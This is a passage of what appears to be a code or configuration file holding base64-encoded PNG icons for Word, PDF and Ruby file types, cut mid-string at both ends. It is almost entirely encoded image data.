IVEeqoSoSYfa5rguO66hr14XvFwCjdi9pH4oGe0BSrMCJWkWu6+REnUircCxqXw6HoSpSxVfVccWC8t+O6zLj+bUGgN2PONefB4w8WBFKuwTdnaBVFHChwHEhP+rEciJOtH5VpBrC0Sjgb8dxAM1C49h/7G8gAODX/L45RoNxHQAwYW9FhuVaPW0beoasYA66b8xxO4Rj4dDlSBgiMVzZCFlBF61RK6uMFADgR9xADQCutAZDgIXj8M+19IApe5YVWZZ7kx0MdbXBzgk7kfaOE8uoioShOhrhq8ot4L/VCsoVFsYRAOJdG8doN5chEM8B3wEAk/Ytc5GYqsLVEHGi4Drcbamb0tWNM04AgmOoW8vYFrgYANQ0jvFB1L12HDBkx0K2rNIwg5WvZJykNUesLot1ea3dms/v6Gf4xL8EigGAhBmyVRaUgLF5VBjxj+VieT/T4wT5igVStlpuDMDaayEAbLCKU87KirOJcZTYpIewCQXxcbLTAEjm5/Nrr/KO4/NqY9wovhuAFQqAa/FMrRaIeac2noYkv47/TN5UNklyttxYHADU/Ws0jvCBdH9pmMn8wjAC5JXG5WS0gcap9cAOBiApNQUQA+GmYtWlkdpiaRx7mgcECiBev/bRBfj0i4tsEqtsxwI+t8jTfvEvJ+cpzp/t1Up4mF+5YgJP4mDodIne9MjAyXBzVgFb9VAoBPXq1QPb1iGhYuMbXsw+9DicPHeaAWUAUFvj2EsTIePLHyKk/NzfVH9SF4gMgwAMmAw3tytQ5iUlJUH9+vXBEuHwDe1WX4sHgL5sbY0TmYKyPwdGpjt9TePfL0VSJYhjOzXNhMZ16uvYtyywbAuS66Qw/5tYOhgKWt7IPp//zAZJi2K8yQHSM4sys2Fy6RD2IQJw4uxpEgKov8mL6zCIJ0dJNHK8kf5k+hQxw8b4CCQJlMH8JDNADKWzziwqjCwAOzkJ1o2YA/1zSpkBuStGxRkuQabkNyCnFLbcea8BAM5rlW3nHOC3cjQ7KFBqMo4AoNKTj0Cic+lrLbIkAIq1iYLE7LB+zEIYkNtTAVAb5qcAzDooOEAC4GuczLFeciTpyhBIhuaPZ36ZQpkHgauKIz8A3FhM1BI07yNjcb5YNXQGDO3eh3ECegAFwG/18d7A3J7KAxCAE+deFiGwfQHnbW8ulqgThqZ5nT2Iqj8CgB/zU30gmV+Dwd1dxisCYGgIj+BZXjYN+uWWQHp6OuSuGM2/R71ExCnN+1cEwGuc1/3lS/sa56nn6RiaQuWLyuJI6wUNAAKVm4Ek2EAYprBhRmIiGN1tAHRungWYHR4+9XPAm1JI6dFaPOG9wtYdYUrP29nH0gNwEa3B2+dzDqArLQyS6tDrIcwQqv489bxcSW99oFdJpz4aGvw9HKgYNAV+2L6IuyhJfX5pMBgMQlpa2lWlyFkH18IJpgMEANT9FSFSslOdG0JURFsz6ZygHFZuTQSSSbq6MSLBkABcyXgJUCAQuCoQEIDjZwUHoAf4xj8B4IrGeapHKowkADTLSAASjcvNaAuN6/IQ4HJNAs9MhrE9+kPn5u3Yqj9wdBv3lIANwVCSCActjGXYFbXOJiFAALht2zyRBkmtL3W+Ikctf2s0DgCSg0kwOK8XpCfXgfopdSE9uS78+eMLcOT1F+LYms5lCCRsoSmlifEt3s3iOn/lkGnQN7sHM7xk7SQV9i4WUEkBXciRjtSAnJ6wbdR9bOxMDIGzL3NOoQDEGcfSlQPtmrSEUd36QVpyKjMoPTkVlhz7Kbx/8e9sQrW6ADChx0CY1JMrLpwPmyrj9zzKig+aroysQJQo88YYrzl0L8EFl3jBqtunQ5+O3eMBED0nVkWSRcSBNQIg621jRVRacyBg27Bj9P3QplFzhfYr770JDx7dYTRPGtZJh33lFVAnlKIA2PfqSfjFy0fi8rrRN/BqDVSCtNpk1aAGZNWQ6dAnuzsLgeI1d/FniTdjNtgWQNA2egeYBqkHHD/7Eg8d9AD8MpWenL2lNuDc3TMrD5YOvke7m+vCoiNb4E8f/FV1jxb2HQuDO/dSY/79n69gzBNL4Ovqy77CR6dL4eJSIIkQkPFLswfeQwD6duIhQAEwVl2AIGlkYG4pbBu1SIUAAsDoZZDkAKNcpX16/nicfPXwWdC1VbZa3bc/+wim7a+EaCwGmY2awc5xSyBg6bJ13e+fgiNvvMDDhJa8tGPsLcQcF3Iz2kDTtAZkVRn3KbkzvscgyGvRjs27+Og25e5MJAiLGR/YNgSCAUaMWAz9ROiAGQfWMCWoAJDpR7uR2aeX8dy+SQvYPnox2Ex48NFrnt/HcmrlsBlQ0iZP3f/bvz6F8r1LIer4y1pdTHk1AcCy2+6GWzp2U0AnSoe1uY99hNTUVEMnIAAqDaIHGAAQ92cr56n7F/cvh1s7FStDL176HNb97lewauh09cJ4genppXfeUPeMmJbE6aM1ENflg++B3jd2VaEkL2pjsN8YBCElBTtL3EMMAAZunWukQSP+aYkqrpumN4Td4x+GUDBJvWA4EoYk8XcE8/WPLsDcQxt4b9FPIKleAp/COy6vWRY0rltfhQBSHL689NBxPQZCfov27Lv3H9nKQY77Pxqr9UBhZkeY9qMfs3kkACwNGgColyW1uE+8TrnpdhjTvb8CQFVggkyn7n8M3vr0A7I7pHeBZCTzYoo0QmnZLNOgNECMk4ZWDp3JdAAa062ynIMsMoWgAP5NUT3iZb+cEtg8ciEkJyczHYAhoABQKYYA4FvEiHSVEgqxdNewTj3D7fEvp86fgVWndouSNwGQnh6k0fxAwLHOkCJGvAijYsE9CACGIf4wAMQfaTz7TYzHufrnlsLGO+YDyub5z26EY7IcRg9gE/g0RZl7kkYoHTMk/wcw7xZRigrgwtEIjN39CPzjy39y106wX8Be0CizPfsKYseYObFcfUK8FICulROE8yNSnJzReA6GVrfYQdo0cgG7P+/wBjh54RVeDA3YOoeNosYZW2BkJdSqALAYPTB5JY9N8aCzn7wLM/avjtMQcUDyvKo7zN59BRZ26AXCEGqQ60LlsFnMA/DZRY+NF/OI95AtdA9/YUdoowBg7uH1cPL8GSaYDABUfU6QS5SuFvQdC2V5N8eFwILDG+CPUhz57AKrGDV6CFprIJidb2gLTdMaGdTGVkuw+PjigdBFNEXvfXaz5jqhFThXiA0VvHJ5P+Cu0jI2x5xn1sHJc2f45gt6ALOXqj/iPhQAed26YTP45biHIGgH4gBAcTT5yeXM/akneatBulnq9bgVQ6ZBnxu7JewF+KW6RC1zv7EIAGoXxpMSAPpCqjZIkK4qh82E4jadfbMAovnYc3uY0vI/BCHyANEXXqBWotQVxQ57yQRNEXn/aozH+QwA+m8RHODX1SEAyNqga+tseHzEXC0/AeDdix9DVuMWyhs+u/Q5jN71EOAWOy1zZUzz7StzB5qOy7uhnZLCFhKbTIeC2ctLbtMh8OtNOttrJaw1AOdGKGiN+wI8BGZjU/S88AAOgH4hRliEoCg54mdYFXbMyFSGoehZdnIXPDVxGaQkhdT9naePws7Tv1EMzQ3mq+/NEBoM8R6ejCSoUMwFsGbYbJbX0Zguq8bG7TrT/I9cgPNjMaT2BWoCgLq/N10NyCmBRf3K1UojUFOf5qLn7l5DYULxIPUyl8NVMGrXQ3Dx0hdGG5wC4Kc1WHOWLoAQOXoD1oI1w2axvI4/+SvHKGBEcBFA9M4yBWDOoXVwXOqA/ltmcyns3byU9bd4mVAwCHsmPAoZ6cjOPMeeOv8KrHruCZZCU5OT4elJK6BharriBqwEVz+/V6y4KrUM9/emSN6dJh4pxYBgdnzuWrYzVBIHgNka59JZqkRcvK133se8RjZFGb9QANSK0G0ycV1ePAgmlpYp4/Co27g9FUz0yDAZVtgb5gtxhAOxTJ64dym8c/FjsSpamPhqDVU245aa7vXz1ddpbe1wDgAak7ditCF7OZfoukGCggDIfgACgDqApVYEwFsO8+JERJ7rQIM66fBk+VJIDSUrAPb+4YTo9OgUip2jXeOWQFaTlspLzrz3F1hweLMCwK84MvYlXRfymmcBFl36h8exPCdQXjwYCluLzdHDGzmveEQTPbOAIHTN7KSbooewJ6hIkAMQfwBKA4CqL6dZFqSl6J7gvldPwNfhKg4U0RC92hUApkkZJvgbY+7V988Z9xKlSASjcugMuDWba32/VHe1ac+bRmceXMMAYH7Vb/Msoxz2gqHi0SMtzVUzT3o2SasP6Sl1WGe4XkoafFX9tWqdcWDMKpD2+ygA34bx+Hwsh9kBCS8AvrW75AMCAN0p4gbVVPfrM4K6ODFPh0oAZK2R17ydIluj0mcx4MLEkjIoaNWBecj8wxtUpPAsqzsDvIfAw6NrGx0CMw7gzpBoiqIHqNTnOd4ijePpJdEJMB8N4dcEIcTKmD/BdpoElzfszG6vJLR1d8yF/p3k+QBSkSYYj88bxLrCi1hITd+PPcGXeC0gATCPt5mrRvO1KpjI2d/Eqo5ue+mTI7TjzMGIPzdMV155DusJAKwbwQFAY3KWiwMSWi/G7QngM1AH7Bi9mHkLA+A8doVdsG6VHEAPQHmN87g/z908X/PrROcEaU1OMoshhcUROaMbpd1YkilviPD51t8xj2104A8CoPK/CAYZSrRUx30BVLGcA1YzIaQAoFI0zjif0piRGA8cBUBCVce5X4gfndv9PE65P+nwqdVXO0MurB8xHwYIJZjDDkioakHXKJ6miASAh0AlHJMbI+gBphb3GOfjnhyA+L0D6Q1+YeI98GAcuaPa33Egv2UHyKgnFKfaEhCzWgCTSstYMcRq+0PreLqUq8/aYVIU8E/wm90ys+HuXsN5CBxYDcfefJF/r++mmSINkhilxnl6A1QgSff0U3XxXiLdmlaC0oN0dwj7gWuI1KVufKWymBlUi9J56v5KOP7mi+wUqgFAjcZ53biGep4D4yFS2tk1/pVI/DnB1cNnMxeXxnAVqP9xyze9lt9jAODWmPSAWuV1z8Empv48LS+Z3vyApOLHTINmSsR581vpEODNYN0ToCW1dytMsI3oh3O+EdKBdZQlA7324VvwyZfiqCyGAA5MdLBZMqomR6HiajpETeoIX3FFvMkEQ6RD2uOn3V0V5yS9MrdX+kc1ZCkxUBt0Tcp4LGb12TRDlMMkRhOUxsZECU6Ic0IVWHvChOZzOk6ScFzKI2mNp0CdReRc8r5efV0Cy/nUZ6KDLSyNuS7stG55fKrrsg1dS/fTaV43SmNBVsT9EzE/32uI3xiRLxN3Ko2kWzcG49+ufPYpYf+3+su6aeWUPNeJlkAACgNg57ngZtt2oDnbXEDEbO1exvHYBC1v78lvbrApo2U46XTpPSd4DQHwg7d4VXljpypWbAfcYnDtXCsAHS2wc8GGEEsdlgUOERreel4ps4RhYjK/FEXSm8Cxrp0H1Nq/KnoHi+CGwiTHLoiBm+/YUGBbVhfLshqx9UMmsi1V5PhlCd2y8p4JkNQkPOW6BCABUl2WjMyywSlwXbuL5UKRY0EX27bburZl41EnPOauqk3ZZ/RUg7pMFuz+fQLAD5e284Y1qJcezI+F3S4uuN0BnC6uZeVaATsFOcUCGxx25E33CLWqdMBy7OswBGodKwkGjhwZ6JAZzg46TmE0EOtm20lF4Dp5EAg0lUIYDzsin/x/ApAAl3b3l2UGIlaPqBMuclwosOxAZ8dxHvlw06kn/1fMa/P9/wK5LR8mGpf8VgAAAABJRU5ErkJggg==",word_icon="data:image/png;base64,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",pdf_icon="data:image/png;base64,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",ruby_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAG3dJREFUeF7lm3lsnPd55z/v3MM5SA7FS7wkUqJkyZatw7YsOY4pX4ocJ3Wdeh3H7e7WRbqbBZpF0C6yaBYoFmnSIg3aRdI9igDpogGcRmgSBxvLVmwrVmxJlmxLtkxZF0VK4jnkkHMf77zH4vnN+1JjhaIs203/6Av88M68c73P9/k+9280/pUf2scl/5+BZxASFVhte71rGqLRvnyh0Fo2jKgGXgtKNqQtmDJhzAOTAZieheSfgfVx3ceNfs9HBuBHkLBhpwF7LLjLH4msiq1aFVvj93u0WIzLk5NMJZNkCwUMy1KS2qDbkLdhyoKDwC8seL0E079pMD40ACK4Dx6z4N+ZsAWfL9TY00PD+vXIl64+coSuT34Ss7mZTC7H1MyMAmMmmSRXKFC9AoaAIoCMeOCgH/ZH4egETP4mwLhhAH4E3jDcZ8N/teBuE3zhtjYSmzdjJRKYQOX0adYeP07v4CDWXXdh2DZV20Y3DMWEmbk5pqammJ2bI38VGIDug9EI/CoGz/vgqBcmH0d99cd+3BAAz0HcA1+24D+bkNCCQVruvJOGm25SgumlEjFNY+LgQW5PJukKBDDvvx89kaBqmsoEBAgBRDdNcsUiqfl5kskk86kUhTowPEAI9DhcDMKr1MA4/HGD8YEBeBHagb+w4Cml9f5+2h55BNPnY+HyZYxqFZ/HQziX4/TLL3O/YagPVFevxtyxA71aVcIL9dVygHDBKJTLpNNpUrOzpBcWKDo+wws0AjGoemAMOAS84IFDfhj/qMz4QAC8Bm1V+K4Fn7P9fi2xaxfNDzxAbnSU/OSk0qyspkiE1MmTTAwP8ykgAZR9PrT77kNvbkbX9SvCOyBcDYg8L1UqZLNZMvPzZBcWqJRKhEyTZiBYMwIDuAi8Buy34VAPXB6qXb+h47oAHICoH/7ahKf9LS1a+2c/S6C3l8zZs+iiJdGk49DaIhHe3LcPI5tlT01rFAGrpwffvfdSzOWuMKAeAIcZylfUm4llUa5UKObz5HM5rIUFooWCMjPrihM1NLiswWsWvGDD4T64+EHBWBYAG7Qj8Cc2fD0yMOBve/BBBXFhehrDNDHlhh3bjsZimPPzHHvpJcKgGCDnkrBATOPhh6nG45QWFmqmUC9snVksMkJYpWnYwSBFTSM9M8MOMa9ikZius6GxkVK1Sq5SoaDrFKtVeW5WbXvctO1DJjyvwyEfXPxDqF6LFssCcBQ+qfl8/9i0YUN787ZtioqVYhHTobxLfQGic/VqTr34IhdHRogADwEBBwABgd5e4o89RubcuZo/WMIEBEy5LkJ7mpooCM/Hxxk9f557Fxb4ra4uxtes4dm332ZjKMTdnZ34NU19Rpzqu1NTXJqfRxyoCaYBExYcMTXteds0X9Vh7GowrgnAEYg3xGLPNG/cuCe2ejV6ubyobVdwYYGsYCJBrLWVw9//PvlymQbgfkAcmGKAplHxeGh+8klYsYLs